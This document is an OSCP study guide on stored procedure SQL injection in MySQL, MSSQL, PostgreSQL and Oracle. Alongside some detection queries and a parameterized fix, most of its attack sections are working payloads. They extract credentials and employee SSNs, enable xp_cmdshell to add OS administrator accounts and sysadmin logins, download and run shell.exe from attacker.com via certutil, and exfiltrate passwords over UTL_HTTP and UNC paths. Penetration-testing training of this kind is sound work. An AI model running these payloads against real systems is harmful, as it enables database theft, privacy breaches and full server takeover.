Stored Procedure Injection
1. What is Stored Procedure Injection?
Definition
Stored Procedure Injection is a variant of SQL injection where the injection point is not a direct SQL query string, but rather a parameter passed to a stored procedure — a pre-compiled collection of SQL statements stored on the database server.
Stored procedures are database objects that encapsulate business logic, accepting input parameters and executing SQL internally. While they are often promoted as a security best practice, they can still be vulnerable to SQL injection when they improperly handle user-supplied input.
Why Stored Procedures Can Still Be Vulnerable
Many developers believe that using stored procedures automatically prevents SQL injection. This is a dangerous misconception. Stored procedures are only safe when:
- Parameters are properly parameterized (using prepared statements with bound parameters)
- The procedure does not concatenate user input into dynamic SQL strings
A stored procedure becomes vulnerable when it takes user input and concatenates it into a dynamic SQL string that is then executed.
Dynamic SQL Concatenation Within Procedures
The root cause of stored procedure injection is dynamic SQL — building SQL queries as strings at runtime. Here’s how it happens:
-- VULNERABLE: Dynamic SQL with string concatenation
CREATE PROCEDURE sp_GetUserByID (IN p_id INT)
BEGIN
SET @sql = CONCAT('SELECT * FROM users WHERE id = ', p_id);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
Even though p_id is declared as INT, if the application layer passes a string value, or if the procedure internally casts it, the concatenation creates an injection vector.
A more realistic vulnerable example:
-- VULNERABLE: User-controlled column name
CREATE PROCEDURE sp_SearchUsers (IN p_column VARCHAR(50), IN p_value VARCHAR(255))
BEGIN
SET @sql = CONCAT('SELECT * FROM users WHERE ', p_column, ' = ''', p_value, '''');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
Here, both p_column and p_value are directly concatenated — either can be exploited.
Why Scanners Often Miss Stored Procedure Injection
-
Indirect execution path: The injection payload doesn’t go directly into a query — it goes into a procedure call, which then builds and executes a query internally. Automated scanners typically look for direct query patterns.
-
Non-standard call syntax: Stored procedures use
CALL(MySQL/PostgreSQL) orEXEC(MSSQL) syntax, which differs from standard SQL queries. Many scanners don’t test these call patterns. -
Hidden logic: The procedure’s internal code is not visible to the scanner. The scanner only sees the procedure name and parameters, not the dynamic SQL constructed inside.
-
Second-order nature: The payload may be stored in the database first (via INSERT) and only executed later when the procedure runs — a classic second-order injection that scanners cannot detect.
-
Business logic wrapping: Procedures often wrap complex business logic with multiple steps. A scanner may not trigger the exact code path that contains the vulnerable dynamic SQL.
2. Detection
Enumerating Stored Procedures in MySQL
MySQL stores metadata about all routines (procedures and functions) in information_schema.routines:
-- List all stored procedures
SELECT routine_name, routine_type, routine_schema, created, last_altered
FROM information_schema.routines
WHERE routine_type = 'PROCEDURE';
-- List procedures in the current database
SELECT routine_name
FROM information_schema.routines
WHERE routine_schema = DATABASE()
AND routine_type = 'PROCEDURE';
-- Get the body/source of a specific procedure
SELECT routine_name, routine_definition
FROM information_schema.routines
WHERE routine_name = 'sp_GetUserByID';
-- Search for dynamic SQL patterns in procedure definitions
SELECT routine_name, routine_definition
FROM information_schema.routines
WHERE routine_definition LIKE '%PREPARE%'
OR routine_definition LIKE '%EXECUTE%'
OR routine_definition LIKE '%CONCAT%';
-- Search for suspicious patterns indicating dynamic SQL
SELECT routine_name
FROM information_schema.routines
WHERE routine_definition LIKE '%SET @sql%'
OR routine_definition LIKE '%CONCAT%'
OR routine_definition LIKE '%GROUP_CONCAT%';
Key indicators of vulnerable procedures:
CONCAT()orCONCAT_WS()used to build SQL stringsPREPARE/EXECUTEstatements (dynamic SQL execution)SET @var = CONCAT(...)patterns- String concatenation with user parameters
Enumerating Stored Procedures in MSSQL
MSSQL stores procedure metadata in system views:
-- List all stored procedures
SELECT name, create_date, modify_date
FROM sys.objects
WHERE type = 'P';
-- Alternative using sys.procedures
SELECT name, object_id, create_date, modify_date
FROM sys.procedures;
-- Get the definition of a specific procedure
SELECT OBJECT_DEFINITION(object_id('sp_GetUserByID'));
-- Or using INFORMATION_SCHEMA
SELECT routine_name, routine_definition
FROM information_schema.routines
WHERE routine_name = 'sp_GetUserByID';
-- Search for dynamic SQL patterns
SELECT name, OBJECT_DEFINITION(object_id) AS definition
FROM sys.objects
WHERE type = 'P'
AND (OBJECT_DEFINITION(object_id) LIKE '%EXEC(%'
OR OBJECT_DEFINITION(object_id) LIKE '%EXECUTE %'
OR OBJECT_DEFINITION(object_id) LIKE '%sp_executesql%'
OR OBJECT_DEFINITION(object_id) LIKE '%CONCAT%'
OR OBJECT_DEFINITION(object_id) LIKE '%+ @%'
OR OBJECT_DEFINITION(object_id) LIKE '%+@%');
-- Search for dangerous patterns
SELECT name
FROM sys.objects
WHERE type = 'P'
AND OBJECT_DEFINITION(object_id) LIKE '%xp_cmdshell%';
Key indicators of vulnerable procedures in MSSQL:
EXEC(@sql)orEXECUTE(@sql)— dynamic execution of stringsp_executesqlwith string concatenation (not parameterized)- String concatenation with
+operator involving parameters xp_cmdshell,xp_regread, or other extended procedures
Testing Procedures with Injection Payloads
Once you identify stored procedures, test each parameter:
-- Basic injection test in MySQL
CALL sp_SearchUsers('username', 'test' OR '1'='1');
CALL sp_SearchUsers('username', 'test' UNION SELECT 1,2,3-- ');
-- Basic injection test in MSSQL
EXEC sp_SearchUsers 'username', 'test'' OR ''1''=''1';
EXEC sp_SearchUsers 'username', 'test'' UNION SELECT 1,2,3--';
-- Time-based blind test (MySQL)
CALL sp_SearchUsers('username', 'test' AND SLEEP(5));
-- Time-based blind test (MSSQL)
EXEC sp_SearchUsers 'username', 'test''; WAITFOR DELAY ''0:0:5''--';
-- Boolean-based blind test
CALL sp_SearchUsers('username', 'test' AND 1=1);
CALL sp_SearchUsers('username', 'test' AND 1=2);
Signs of Dynamic SQL in Procedure Behavior
-
Error messages reveal procedure internals: If an injection attempt produces an error referencing the procedure name or internal SQL, dynamic SQL is likely present.
-
Inconsistent error behavior: Parameterized queries produce generic errors. Dynamic SQL may produce syntax errors that change based on input.
-
Time delays respond: If
SLEEP()orWAITFOR DELAYcauses delays, the input is being executed as SQL. -
UNION results appear: If UNION-based injection returns data, the procedure is building dynamic SQL with your input.
-
Different behavior for different input types: If numeric inputs work but string inputs with quotes cause errors, concatenation is likely happening.
3. MySQL Stored Procedure Exploitation
CALL with Injection Payloads
The CALL statement invokes a MySQL stored procedure. If the procedure concatenates parameters into dynamic SQL, each parameter becomes an injection point.
-- Vulnerable procedure (server-side)
CREATE PROCEDURE sp_GetOrders (IN p_customer_name VARCHAR(100))
BEGIN
SET @sql = CONCAT('SELECT * FROM orders WHERE customer_name = ''', p_customer_name, '''');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
Exploitation:
-- Extract data via UNION
CALL sp_GetOrders('test' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--');
-- Extract column names
CALL sp_GetOrders('test' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--');
-- Extract user data
CALL sp_GetOrders('test' UNION SELECT username,password,email FROM users--');
-- Boolean-based blind
CALL sp_GetOrders('test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a');
-- Time-based blind
CALL sp_GetOrders('test' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a', SLEEP(5), 0));
UNION Within Procedure Calls
When the procedure returns a result set, UNION injection works if you can match the column count:
-- Step 1: Determine column count with ORDER BY
CALL sp_GetOrders('test' ORDER BY 1--'); -- No error
CALL sp_GetOrders('test' ORDER BY 2--'); -- No error
CALL sp_GetOrders('test' ORDER BY 3--'); -- No error
CALL sp_GetOrders('test' ORDER BY 4--'); -- Error: unknown column
-- Step 2: Use UNION with correct column count (3 columns)
CALL sp_GetOrders('test' UNION SELECT 1,2,3--');
-- Step 3: Extract database info
CALL sp_GetOrders('test' UNION SELECT VERSION(), DATABASE(), USER()--');
-- Step 4: Extract table names
CALL sp_GetOrders('test' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=DATABASE()--');
-- Step 5: Extract column names
CALL sp_GetOrders('test' UNION SELECT GROUP_CONCAT(column_name),2,3 FROM information_schema.columns WHERE table_name='users'--');
-- Step 6: Extract data
CALL sp_GetOrders('test' UNION SELECT GROUP_CONCAT(username,0x3a,password),2,3 FROM users--');
Blind Injection in Stored Procedures
When the application doesn’t display query results, use blind techniques:
-- Boolean-based blind extraction (character by character)
CALL sp_GetOrders('test' AND (SELECT LENGTH(password) FROM users WHERE username='admin') > 10);
CALL sp_GetOrders('test' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 16);
CALL sp_GetOrders('test' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 97);
CALL sp_GetOrders('test' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 102);
-- Time-based blind extraction
CALL sp_GetOrders('test' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97, SLEEP(5), 0));
-- Out-of-band (if allowed)
CALL sp_GetOrders('test' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='admin'), '.attacker.com\\share'))));
PREPARE/EXECUTE Dynamic SQL Injection
MySQL’s PREPARE/EXECUTE is the mechanism for dynamic SQL. When user input flows into a PREPARE statement, injection occurs:
-- Vulnerable pattern
CREATE PROCEDURE sp_FilterProducts (IN p_category VARCHAR(50), IN p_sort VARCHAR(50))
BEGIN
SET @sql = CONCAT('SELECT * FROM products WHERE category = ''', p_category, ''' ORDER BY ', p_sort);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
Exploitation via the p_sort parameter (no quotes needed):
-- The p_sort parameter is concatenated without quotes
CALL sp_FilterProducts('Electronics', 'price; SELECT VERSION() INTO @ver; SELECT @ver;');
-- UNION injection via p_category
CALL sp_FilterProducts('test'' UNION SELECT username,password,email FROM users-- ', 'price');
-- File read via p_sort
CALL sp_FilterProducts('Electronics', '(SELECT LOAD_FILE('/etc/passwd'))');
Safe alternative (parameterized):
-- SAFE: Using parameterized dynamic SQL
CREATE PROCEDURE sp_FilterProducts_Safe (IN p_category VARCHAR(50), IN p_sort VARCHAR(50))
BEGIN
SET @sql = 'SELECT * FROM products WHERE category = ? ORDER BY ?';
PREPARE stmt FROM @sql;
SET @cat = p_category;
SET @sort = p_sort;
EXECUTE stmt USING @cat, @sort;
DEALLOCATE PREPARE stmt;
END;
Complete MySQL Exploitation Example
Scenario: A web application calls sp_GetUserProfile(p_username) to display user profiles.
-- Step 1: Confirm injection
CALL sp_GetUserProfile('admin''--');
-- If this returns admin's profile or causes an error, injection is likely
-- Step 2: UNION-based data extraction
CALL sp_GetUserProfile('test'' UNION SELECT 1,2,3,4,5--');
-- Adjust column count until no error
-- Step 3: Enumerate tables
CALL sp_GetUserProfile('test'' UNION SELECT GROUP_CONCAT(table_name),2,3,4,5 FROM information_schema.tables WHERE table_schema=DATABASE()--');
-- Step 4: Enumerate columns of target table
CALL sp_GetUserProfile('test'' UNION SELECT GROUP_CONCAT(column_name),2,3,4,5 FROM information_schema.columns WHERE table_name='credentials'--');
-- Step 5: Extract credentials
CALL sp_GetUserProfile('test'' UNION SELECT username,password,3,4,5 FROM credentials--');
-- Step 6: If blind, extract via time-based
CALL sp_GetUserProfile('admin'' AND IF(ASCII(SUBSTRING((SELECT password FROM credentials WHERE username='admin'),1,1))=97, SLEEP(5), 0)--');
4. MSSQL Stored Procedure Exploitation
EXEC with Injection Payloads
MSSQL uses EXEC (or EXECUTE) to call stored procedures. The injection techniques are similar but with MSSQL-specific syntax:
-- Vulnerable procedure (server-side)
CREATE PROCEDURE sp_GetEmployee
@dept_name NVARCHAR(100)
AS
BEGIN
DECLARE @sql NVARCHAR(4000)
SET @sql = 'SELECT * FROM employees WHERE department = ''' + @dept_name + ''''
EXEC(@sql)
END
Exploitation:
-- Basic authentication bypass
EXEC sp_GetEmployee 'test'' OR ''1''=''1';
-- UNION-based injection
EXEC sp_GetEmployee 'test'' UNION SELECT NULL,NULL,NULL,NULL--';
-- Determine column count
EXEC sp_GetEmployee 'test'' ORDER BY 1--';
EXEC sp_GetEmployee 'test'' ORDER BY 2--';
EXEC sp_GetEmployee 'test'' ORDER BY 3--';
EXEC sp_GetEmployee 'test'' ORDER BY 4--';
EXEC sp_GetEmployee 'test'' ORDER BY 5--'; -- Error: 5 columns
-- Extract data
EXEC sp_GetEmployee 'test'' UNION SELECT name, system_user, db_name(), @@version, 5--';
-- Extract table names
EXEC sp_GetEmployee 'test'' UNION SELECT table_name, NULL, NULL, NULL, NULL FROM information_schema.tables--';
-- Extract column names
EXEC sp_GetEmployee 'test'' UNION SELECT column_name, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name=''users''--';
-- Extract credentials
EXEC sp_GetEmployee 'test'' UNION SELECT username, password, NULL, NULL, NULL FROM users--';
Stacked Queries Within Procedures
MSSQL supports stacked queries — multiple SQL statements separated by semicolons executed in a single batch. If a vulnerable procedure uses EXEC(@sql), stacked queries work:
-- Stacked query: inject additional commands
EXEC sp_GetEmployee 'test''; SELECT name FROM sys.databases--';
-- Stacked query: enumerate logins
EXEC sp_GetEmployee 'test''; SELECT name FROM sys.sql_logins--';
-- Stacked query: enable xp_cmdshell
EXEC sp_GetEmployee 'test''; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE--';
-- Stacked query: execute OS command
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''whoami''--';
-- Stacked query: create a new login
EXEC sp_GetEmployee 'test''; CREATE LOGIN hacker WITH PASSWORD=''P@ssw0rd''--';
-- Stacked query: grant sysadmin
EXEC sp_GetEmployee 'test''; ALTER SERVER ROLE sysadmin ADD MEMBER hacker--';
xp_cmdshell Through Stored Procedures
xp_cmdshell executes operating system commands. If accessible through a vulnerable stored procedure:
-- Step 1: Check if xp_cmdshell exists
EXEC sp_GetEmployee 'test''; SELECT * FROM master.dbo.sysobjects WHERE name=''xp_cmdshell''--';
-- Step 2: Enable xp_cmdshell (if disabled)
EXEC sp_GetEmployee 'test''; EXEC sp_configure ''show advanced options'', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE WITH OVERRIDE--';
-- Step 3: Execute OS commands
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''whoami''--';
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''ipconfig /all''--';
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''net user''--';
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''net user hacker P@ssw0rd /add''--';
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''net localgroup administrators hacker /add''--';
-- Step 4: Download and execute a reverse shell
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''powershell -enc BASE64ENCODEDPAYLOAD''--';
-- Alternative: Use certutil to download
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe''--';
EXEC sp_GetEmployee 'test''; EXEC xp_cmdshell ''C:\Windows\Temp\shell.exe''--';
Complete MSSQL Exploitation Example
Scenario: An HR application calls sp_SearchEmployees(@search_term) to search employee records.
-- Step 1: Confirm injection point
EXEC sp_SearchEmployees 'test'';--'
-- If error references procedure or SQL syntax, injection confirmed
-- Step 2: UNION-based enumeration
EXEC sp_SearchEmployees 'test'' UNION SELECT NULL,NULL,NULL,NULL,NULL--'
-- Step 3: Extract system info
EXEC sp_SearchEmployees 'test'' UNION SELECT @@version, SYSTEM_USER, DB_NAME(), USER_NAME(), HOST_NAME()--'
-- Step 4: List all databases
EXEC sp_SearchEmployees 'test'' UNION SELECT name, NULL, NULL, NULL, NULL FROM sys.databases--'
-- Step 5: List tables in target database
EXEC sp_SearchEmployees 'test'' UNION SELECT table_name, NULL, NULL, NULL, NULL FROM information_schema.tables WHERE table_schema=''dbo''--'
-- Step 6: List columns
EXEC sp_SearchEmployees 'test'' UNION SELECT column_name, NULL, NULL, NULL, NULL FROM information_schema.columns WHERE table_name=''employees''--'
-- Step 7: Extract sensitive data
EXEC sp_SearchEmployees 'test'' UNION SELECT employee_id, first_name, last_name, ssn, salary FROM employees--'
-- Step 8: If stacked queries work, escalate
EXEC sp_SearchEmployees 'test''; EXEC master.dbo.xp_cmdshell ''whoami''--'
-- Step 9: Blind extraction if no output
EXEC sp_SearchEmployees 'test'' AND (SELECT TOP 1 SUBSTRING(password,1,1) FROM admin_users)=''a''--'
5. Second-Order Stored Procedure Injection
Concept
Second-order SQL injection occurs when:
- An attacker plants a malicious payload into the database through a seemingly safe operation (e.g., INSERT, UPDATE)
- The payload is stored in the database as harmless-looking data
- Later, a stored procedure reads this data and uses it in dynamic SQL, triggering the injection
The injection is “second-order” because the payload is not executed at the time of input — it is executed later when the stored procedure processes the stored data.
Planting Payload in INSERT
The attacker submits data that contains SQL injection payloads:
-- Normal-looking registration
INSERT INTO users (username, email, phone)
VALUES ('admin'' OR ''1''=''1', 'attacker@evil.com', '1234567890');
-- Or via a web form that calls an INSERT procedure
CALL sp_RegisterUser('admin'' OR ''1''=''1', 'attacker@evil.com', '1234567890');
-- The payload is now stored in the database as the username
-- It looks like normal data but contains injection syntax
Triggering via Stored Procedure Execution
Later, when an administrator or another process calls a vulnerable procedure that uses the stored data:
-- Vulnerable procedure that uses stored user data
CREATE PROCEDURE sp_GetUserActivity (IN p_username VARCHAR(100))
BEGIN
SET @sql = CONCAT('SELECT * FROM activity_log WHERE username = ''', p_username, '''');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
END;
When the admin calls this procedure with the planted username:
-- The admin calls the procedure with the malicious username
CALL sp_GetUserActivity('admin'' OR ''1''=''1');
-- The procedure builds:
-- SELECT * FROM activity_log WHERE username = ''admin'' OR ''1''=''1''
-- This returns ALL activity logs, bypassing the filter
Real-World Attack Flow
Complete second-order attack scenario:
Phase 1: Reconnaissance
├── Identify that the application uses stored procedures
├── Discover that user registration stores data in the database
└── Identify that an admin panel calls sp_GetUserReport(username)
Phase 2: Plant the Payload
├── Register with malicious username:
│ username = admin' UNION SELECT username,password,3,4,5 FROM admin_users--
├── The registration succeeds (first-order input is safe)
└── Payload is stored in users.username column
Phase 3: Wait for Trigger
├── Admin logs into the admin panel
├── Admin searches for the registered user by username
├── Admin clicks on the user's profile
└── Application calls: CALL sp_GetUserReport('admin'' UNION SELECT username,password,3,4,5 FROM admin_users--')
Phase 4: Exploitation
├── The stored procedure concatenates the username into dynamic SQL
├── The UNION query executes, returning admin credentials
└── Attacker gains admin credentials
Phase 5: Alternative - Time-Based Blind
├── Register with username:
│ admin' AND IF(1=1, SLEEP(5), 0)--
├── When admin views the profile, a 5-second delay confirms injection
├── Use binary search to extract data character by character
└── Each admin view triggers one character extraction
MySQL second-order example with data extraction:
-- Step 1: Plant payload during registration
INSERT INTO users (username, email)
VALUES ('test'' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=DATABASE()--', 'a@b.com');
-- Step 2: When admin calls the vulnerable procedure
CALL sp_GetUserReport('test'' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=DATABASE()--');
-- The procedure builds:
-- SELECT * FROM reports WHERE username = 'test' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=DATABASE()--'
-- Returns all table names from the current database
MSSQL second-order example:
-- Step 1: Plant payload
INSERT INTO employees (emp_name, emp_email)
VALUES ('test''; EXEC xp_cmdshell ''net user hacker P@ss /add''--', 'a@b.com');
-- Step 2: When admin views the employee
EXEC sp_GetEmployeeReport 'test''; EXEC xp_cmdshell ''net user hacker P@ss /add''--'
-- The procedure builds and executes:
-- SELECT * FROM reports WHERE emp_name = 'test'; EXEC xp_cmdshell 'net user hacker P@ss /add'--'
-- A new OS user is created
6. PostgreSQL Stored Procedure Injection
PL/pgSQL Dynamic Execution
PostgreSQL stored procedures/functions written in PL/pgSQL can use dynamic SQL via EXECUTE:
-- Vulnerable PostgreSQL function
CREATE OR REPLACE FUNCTION fn_get_user(p_username TEXT)
RETURNS SETOF users AS $$
DECLARE
sql TEXT;
BEGIN
sql := 'SELECT * FROM users WHERE username = ''' || p_username || '''';
RETURN QUERY EXECUTE sql;
END;
$$ LANGUAGE plpgsql;
Exploitation:
-- Basic injection
SELECT fn_get_user('test'' OR ''1''=''1');
-- UNION-based injection
SELECT fn_get_user('test'' UNION SELECT table_name::text, NULL, NULL, NULL, NULL FROM information_schema.tables--');
-- Extract data
SELECT fn_get_user('test'' UNION SELECT usename, passwd, NULL, NULL, NULL FROM pg_shadow--');
-- Boolean-based blind
SELECT fn_get_user('test'' AND (SELECT count(*) FROM pg_shadow WHERE usename=''postgres'') > 0--');
-- Time-based blind
SELECT fn_get_user('test'' AND pg_sleep(5)--');
-- Character-by-character extraction
SELECT fn_get_user('test'' AND SUBSTRING((SELECT passwd FROM pg_shadow WHERE usename=''postgres''), 1, 1) = ''p''--');
dblink Injection
PostgreSQL’s dblink extension allows executing queries on remote databases. If a stored procedure uses dblink with user-controlled input:
-- Vulnerable function using dblink
CREATE OR REPLACE FUNCTION fn_remote_query(p_query TEXT)
RETURNS SETOF record AS $$
BEGIN
RETURN QUERY SELECT * FROM dblink('host=remote_db dbname=target', p_query)
AS result(data TEXT);
END;
$$ LANGUAGE plpgsql;
Exploitation:
-- Inject arbitrary queries to the remote database
SELECT fn_remote_query('SELECT * FROM sensitive_table');
-- Chain with UNION
SELECT fn_remote_query('SELECT 1 UNION SELECT password FROM admin_users');
-- Stacked queries via dblink
SELECT fn_remote_query('SELECT 1; DROP TABLE sensitive_data');
7. Oracle Stored Procedure Injection
DBMS_SCHEDULER Injection
Oracle’s DBMS_SCHEDULER can be exploited through stored procedures that create jobs with user-controlled input:
-- Vulnerable procedure
CREATE OR REPLACE PROCEDURE sp_CreateReportJob(p_report_name VARCHAR2) AS
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name => 'report_job',
job_type => 'PLSQL_BLOCK',
job_action => 'BEGIN sp_RunReport(' || '''' || p_report_name || '''' || '); END;',
start_date => SYSTIMESTAMP,
enabled => TRUE
);
END;
/
Exploitation:
-- Inject into the job action
BEGIN
sp_CreateReportJob('test'''); BEGIN DBMS_SCHEDULER.RUN_JOB('malicious_job'); END; --');
END;
/
-- Extract data via UTL_HTTP
BEGIN
sp_CreateReportJob('test'''); BEGIN UTL_HTTP.REQUEST('http://attacker.com/?data=' || (SELECT password FROM users WHERE username=''SYS'')); END; --');
END;
/
Dynamic SQL in Oracle Procedures
Oracle procedures using EXECUTE IMMEDIATE with concatenation are vulnerable:
-- Vulnerable procedure
CREATE OR REPLACE PROCEDURE sp_GetDeptEmployees(p_dept VARCHAR2) AS
sql_stmt VARCHAR2(4000);
BEGIN
sql_stmt := 'SELECT * FROM employees WHERE department = ''' || p_dept || '''';
EXECUTE IMMEDIATE sql_stmt;
END;
/
Exploitation:
-- Basic injection
BEGIN
sp_GetDeptEmployees('test'' OR ''1''=''1');
END;
/
-- UNION-based injection
BEGIN
sp_GetDeptEmployees('test'' UNION SELECT username, password, NULL, NULL, NULL FROM dba_users--');
END;
/
-- Extract data to file (if UTL_FILE available)
BEGIN
sp_GetDeptEmployees('test''; BEGIN UTL_FILE.PUT_LINE(UTL_FILE.FOPEN(''TMPDIR'',''data.txt'',''W''), (SELECT password FROM dba_users WHERE username=''SYS'')); END;--');
END;
/
-- Out-of-band via HTTP
BEGIN
sp_GetDeptEmployees('test''; BEGIN UTL_HTTP.REQUEST(''http://attacker.com/?x=''||(SELECT banner FROM v$version WHERE ROWNUM=1)); END;--');
END;
/
8. OSCP Relevance and Practice
Why This Matters for OSCP
While stored procedure injection is not the most common vulnerability on OSCP machines, understanding it is valuable because:
-
Web application challenges: Some OSCP boxes feature custom web applications that use stored procedures, especially MSSQL-based applications.
-
Privilege escalation path: A stored procedure injection can lead to OS command execution (via
xp_cmdshellin MSSQL), which is a direct path to system compromise. -
Second-order awareness: Understanding second-order injection helps identify vulnerabilities that automated tools miss — a key OSCP skill.
-
Database-specific knowledge: OSCP machines often run MSSQL, and knowing how to exploit stored procedures in MSSQL (especially stacked queries and
xp_cmdshell) is directly applicable. -
Manual testing skills: Stored procedure injection requires manual testing and creative thinking — exactly the mindset OSCP rewards.
Practice Recommendations
-
PortSwigger Web Security Academy: Complete the SQL injection labs, especially those involving stored procedures and second-order injection.
-
DVWA (Damn Vulnerable Web App): Test the SQL injection module with stored procedure awareness.
-
MSSQL-specific practice:
- Set up a local MSSQL instance with vulnerable stored procedures
- Practice
xp_cmdshellexploitation - Practice stacked query injection
-
MySQL-specific practice:
- Set up a local MySQL instance with
PREPARE/EXECUTEprocedures - Practice blind injection techniques
- Practice second-order payload planting
- Set up a local MySQL instance with
-
OSCP-relevant boxes:
- Look for machines with MSSQL services (port 1433)
- Look for web applications with database-backed search/filter functionality
- Practice identifying stored procedure call patterns in application code
Key Takeaways
| Concept | Key Point |
|---|---|
| Stored procedures are NOT automatically safe | Dynamic SQL concatenation creates injection vectors |
| Detection requires manual testing | Scanners miss indirect execution paths |
MySQL uses CALL + PREPARE/EXECUTE |
Look for CONCAT in procedure definitions |
MSSQL uses EXEC + supports stacked queries |
xp_cmdshell provides OS command execution |
| Second-order injection is stealthy | Payload planted first, triggered later |
PostgreSQL uses EXECUTE in PL/pgSQL |
dblink adds remote execution risks |
Oracle uses EXECUTE IMMEDIATE |
DBMS_SCHEDULER and UTL_HTTP enable exploitation |
Quick Reference: Injection Payloads by Database
MySQL:
CALL sp_Name('test' UNION SELECT 1,2,3--');
CALL sp_Name('test' AND SLEEP(5));
CALL sp_Name('test' AND IF(condition, SLEEP(5), 0));
MSSQL:
EXEC sp_Name 'test'' UNION SELECT 1,2,3--';
EXEC sp_Name 'test''; WAITFOR DELAY ''0:0:5''--';
EXEC sp_Name 'test''; EXEC xp_cmdshell ''whoami''--';
PostgreSQL:
SELECT fn_name('test'' UNION SELECT 1,2,3--');
SELECT fn_name('test'' AND pg_sleep(5)--');
Oracle:
BEGIN sp_Name('test'' OR ''1''=''1'); END;
BEGIN sp_Name('test''; BEGIN UTL_HTTP.REQUEST(''http://attacker.com''); END;--'); END;
This study guide covers stored procedure injection techniques across major database platforms. Practice each technique in a controlled lab environment to build muscle memory for OSCP exam scenarios.